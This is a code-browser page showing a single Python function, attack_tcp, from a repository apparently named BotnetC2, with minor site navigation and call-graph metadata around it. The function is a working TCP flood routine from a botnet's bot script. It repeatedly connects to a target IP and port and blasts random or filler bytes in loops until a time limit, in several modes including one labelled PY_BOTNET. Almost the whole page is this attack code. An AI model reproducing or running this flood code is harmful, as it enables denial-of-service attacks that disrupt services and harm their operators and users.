MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / attack_tcp

Function attack_tcp

BOTNETc2/bot.py:445–490  ·  view source on GitHub ↗
(ip, port, secs, size,mode)

Source from the content-addressed store, hash-verified

443 s.sendto(data, (ip, dport))
444
445def attack_tcp(ip, port, secs, size,mode):
446
447 while time.time() < secs:
448
449 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
450 try:
451 s.connect((ip, port))
452 while time.time() < secs:
453 for _ in range(1500):
454 if mode == "URANDOM":
455 s.send(random._urandom(size))
456 s.send(random._urandom(size))
457 s.send(random._urandom(size))
458 s.send(random._urandom(size))
459 s.send(random._urandom(size))
460 s.send(random._urandom(size))
461 elif mode == "RANDBYTES":
462 s.send(random.randbytes(size))
463 s.send(random.randbytes(size))
464 s.send(random.randbytes(size))
465 s.send(random.randbytes(size))
466 s.send(random.randbytes(size))
467 s.send(random.randbytes(size))
468 elif mode == "OS_URANDOM":
469 s.send(os.urandom(size))
470 s.send(os.urandom(size))
471 s.send(os.urandom(size))
472 s.send(os.urandom(size))
473 s.send(os.urandom(size))
474 s.send(os.urandom(size))
475 elif mode == "OS_RANDBYTES":
476 s.send(randbytes(size))
477 s.send(randbytes(size))
478 s.send(randbytes(size))
479 s.send(randbytes(size))
480 s.send(randbytes(size))
481 s.send(randbytes(size))
482 elif mode == "PY_BOTNET":
483 data = "A" * size
484 s.send(data.encode())
485 s.send(data.encode())
486 s.send(data.encode())
487 s.send(data.encode())
488 s.send(data.encode())
489 except:
490 pass
491
492def REQ_attack_ddos(ip,secs):
493 while time.time() < secs:

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected